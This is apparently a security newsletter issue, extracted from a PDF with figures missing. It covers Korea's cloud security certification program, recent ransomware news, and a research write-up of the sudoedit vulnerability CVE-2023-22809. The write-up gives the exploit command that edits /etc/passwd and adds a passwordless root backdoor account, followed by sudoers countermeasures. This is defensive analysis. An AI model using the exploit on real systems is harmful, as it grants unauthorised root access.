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highly qualified security experts with proven capabilities in the field  

of cyber threat analysis and research.
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EQST insight 
  

 

Revisions of the Cloud Security Assurance Program (CSAP) 
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Classification Security assurance type 

IaaS 

certification 
Certification of services that provide servers, storage devices and networks 

SaaS 

certification 
Certification of services that provide software like application programs 

PaaS 

certification 

Certification of services that provide the environment for development, distribution, operation 

and management of software like application programs 

Other Certification of services that combines two or more of the above three services certification 
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Level System level classification Evaluation criteria 

Low 

Disclosed public data 

operation systems that do 

not include personal 

information 

· Improvement: physical network separation → logical network separation 

- Relieving existing physical separation requirements between private and 

public sectors to allow SaaS (local software as a service) providers to 

enter the public market 

- However, the physical location of the cloud system and data is limited 

to Korea. 

Medium 

Systems that include or 

operate confidential 

business data 

· Maintaining the current level 

- Allowing secure network access 

· Rational simplification 

- Integrating and abolishing existing types (IaaS, SaaS standard, SaaS 

simple) and deleting unnecessary items 

- Relaxing table separation criteria by institution 

Depending on the 

importance, administrative 

internal work systems can 

also be included. 

High 

Administrative internal 

work operation systems 

that include sensitive 

information 

· Reinforcing security 

 

Year Total 2016 2017 2018 2019 2020 2021 2022 2023 

Current 

status 
82 1 3 2 8 8 23 26 11 

 

 

  

https://www.ncsc.go.kr:4018/main/cop/bbs/selectBoardArticle.do?bbsId=InstructionGuide_main&nttId=18590&pageIndex=1
https://isms.kisa.or.kr/main/csap/issue/
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Classification Control item No of evaulation items 
No of low grade 

applied 

Administrative 

Information protection policies and 

organizations 
5 2 

Human security 11 2 

Asset management 10 3 

Service supply chain management 4 2 

Incident management 7 6 

Service continuity management 7 5 

Compliance 4 2 

Subtotal 48 22 

Physical 

Physical protective zone 5 2 

Protection of information processing facilities 

and equipment 
6 - 

Subtotal 11 2 

Technical 

Security of virtualization 10 6 

Access control 9 9 

Network security 6 5 

Data protection and encryption 10 3 

System development and  

introduction security 
12 6 

Subtotal 47 29 

Total of 14 areas 106 53 
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Classification Control item No of evaulation items No of low grade applied 

Public institutions’ security 

requirements 

Administrative safeguards 4 4 

Physical safeguards 2 2 

Technical safeguards 5 5 

Subtotal 11 11 
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Keep up with Ransomware 
   

 

Ransomware threats targeting the ESXI server 

 

◼ Outline 
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◼ Ransomware news 

➢ Attackers look for ESXi servers through information from public sources such as Shodan and 

Censys. 

➢ Early penetration using the OpenSLP 10 remote code execution vulnerability (CVE-2021-

21974) 

➢ It is estimated that more than 3,000 servers worldwide and at least 20 servers in Korea are 

infected. 

➢ The infection environment restoration tool was disclosed by US CISA, but it was modified to 

prevent restoration through an update. 

 

➢ Functions that support Linux were added, and it attacks VMware ESXi servers. 

➢ Execution options are provided, and the encryption process function is performed according 

to options. 

 

➢ In December, Russian and Chinese hackers and affiliate companies were recruited through 

2022 RAMP Forum. 

➢ Windows and Linux files were encrypted through the Salsa20 algorithm. 

➢ Execution options are provided, and malicious functions are performed according to options. 

 

➢ On December 26, 2022, the Clop ransomware targeting Linux OS were discovered. 

➢ Flaws were discovered in the process of protecting the keys used for file encryption. 

➢ SentinelLabs distributed a decryption tool free of charge. 
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➢ The Clop ransomware attacker claims to have stolen data from more than 130 organizations 

with the RCE vulnerability (CVE-2023-0669) in the GoAnywhere MFT security file transfer tool. 

➢ Similar to the situation of stealing data from about 100 companies through the Accellion FTA 

zero-day vulnerability (CVE-2021-27101~27104) in December 2020. 

 

➢ Financial gains were obtained through the MortalKombat ransomware, a variant of the Xorist 

ransomware, and an information leaking malware Laplas Clipper. 

➢ It caused damage mostly in the US, and it was distributed through phishing mail. 

➢ As the main files of the system are included in encryption targets, the system may not 

operate normally. 
 

➢ Tonga's state-run telecommunications company, TCC, was attacked by the Medusa 

ransomware group, delaying its work process. 

➢ The Medusa group mainly penetrated through the RDP vulnerability. 

 

➢ US government agencies and National Intelligence Service published a joint report about 

North Korea’s ransomware attacks. 

➢ The CVE-2021-44228, CVE-2021-20038, CVE-2022-24990 vulnerability are used for the attack. 

➢ The Maui, H0lyGh0st ransomware is used. 

 

➢ A wide range of attacks were conducted against health services and hospitals in the US and 

UK, and the UK confirmed that these groups made a profit of £27 million, and carried out 

more than 149 attacks. 

➢ All the properties and funds of the members of 7 Russian organizations in the US and UK 

were frozen. 
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➢ Denis Mihaqlovic Dubnikov and 13 accomplices participated in Ryuk ransomware money 

laundering. 

➢ On April 11, 2023, the final verdict will be delivered, and if they are found guilty, they can 

face up to 20 years in prison, 3 years of supervised release and fines of up to $500,000 

➢ Attack framework demo video including various functions such as ransomware and data 

leakage was released. 

➢ As it uses the same C2 infrastructure as the domain fronting technology, used in Lockbit 3.0, 

it is presumed to be a tool developed by an affiliate or member of Lockbit 3.0. 
 

➢ Bitdefender released a free decryption tool for the MortalKombat ransomware. 

➢ The Laplas clipboard hijacker needs to be removed manually. 
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◼ Ransomware threat 
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◼ Focus of ransomware 

 

Heap overflow vulnerability in VMware ESXi OpenSLP

 Remote code execution vulnerability due to use-after-free in VMware ESXi OpenSLPA 



 

EQST insight | 18 

 



 

EQST insight | 19 

 

 



 

EQST insight | 20 

 

 

 



 

EQST insight | 21 

 

 

 



 

EQST insight | 22 

◼ IoC 
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◼ Reference sites 
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Research & Technique 
    

 

Random file write vulnerability exploiting sudoedit  

(CVE-2023-22809) 

 

■ Outline of the vulnerability 

 

■ Affected software version 

S/W Vulnerable version 

sudo 1.8.0~1.9.12p 

※ sudo versions prior to 1.8.0 are not affected as they handle factors differently  
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■ Attack scenario 

 

① The attacker searches for vulnerable servers and steals accounts registered in sudoers. 

② The attacker creates a backdoor by editing a random file (/etc/passwd) other than the allowed file by using 

the CVE-2023-22809 vulnerability. 

③ The attacker seizes PC control through the backdoor. 

④ The attacker can continuously acquire the user's important information. 

 

■ Test environment configuration information 

Name Information 

Victim 

Ubuntu 20.04.5 LTS 

Sudo version 1.8.31 

Sudoers policy plugin version 1.8.31 

Sudoers file grammar version 46 

Sudoers I/O plugin version 1.8.31 

※ The sudo 1.8.31 version is the default built-in version of Ubuntu 20.04.5 LTS. 
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■ Vulnerability test 

Name Information 

rootDir A read-only directory owned by root 

Insight A file that only the root user can read/write/execute 
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Command $ sudoedit /var/tmp/rootDir/Insight 

sudo -e: As an option for editing in the sudo program, it means edit and has the same function as sudoedit. 
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Command 

$ EDITOR=’editor -- [random file]’ sudoedit [allowed file] 

$ EDITOR='vim -- /etc/passwd' sudoedit /var/tmp/rootDir/Insight 

Enter EQSTLabBackdoor::0:0:/root:/bin/sh in the /etc/passwd file after executing the editor. 

[account name]:[password]:[uid][guid]:[home directory]:[shell address] 
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■ Detailed analysis of the vulnerability 

Description 

of sudoers 

fields 

Field  

No. 1 
User (group) name 

Set the account or group name to give the command 

execution privilege. 

- If it is given to all, use ALL. 

Field  

No. 2 
Host 

The target server or IP to execute the command 

- If it is given to all, use ALL. 

Field  

No. 3 

Privilege of  

the exec account 

When the command is executed, it is executed with the 

privilege of the specified account. 

- If it is omitted, the command will be executed with the root 

privilege. 

Field  

No. 4 

Whether a password 

 is set 

[omissible] 

If the NOPASSWD option is set, when the command is 

executed, the account password can be omitted. 

Field  

No. 5 
Command 

The command and path that will be allowed to be executed 

- If all commands are allowed, use ALL. 

 

. 
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EDITOR=’vim -- /etc/passwd’ sudoedit /var/tmp/rootDir/Insight  

 

 

 



 

EQST insight | 31 

 

 

 



 

EQST insight | 32 

 

 

vim -- /attack file -- /a target allowed to be edited 
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■ Countermeasures 

 

Defaults!sudoedit    env_delete+="SUDO_EDITOR VISUAL EDITOR" 

 

 

 

Cmnd_Alias             EDIT_MOTD = sudoedit /var/tmp/rootDir/Insight 

Defaults!EDIT_MOTD     env_delete+="SUDO_EDITOR VISUAL EDITOR" 

user                    ALL = EDIT_MOTD 
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■ Reference sites 
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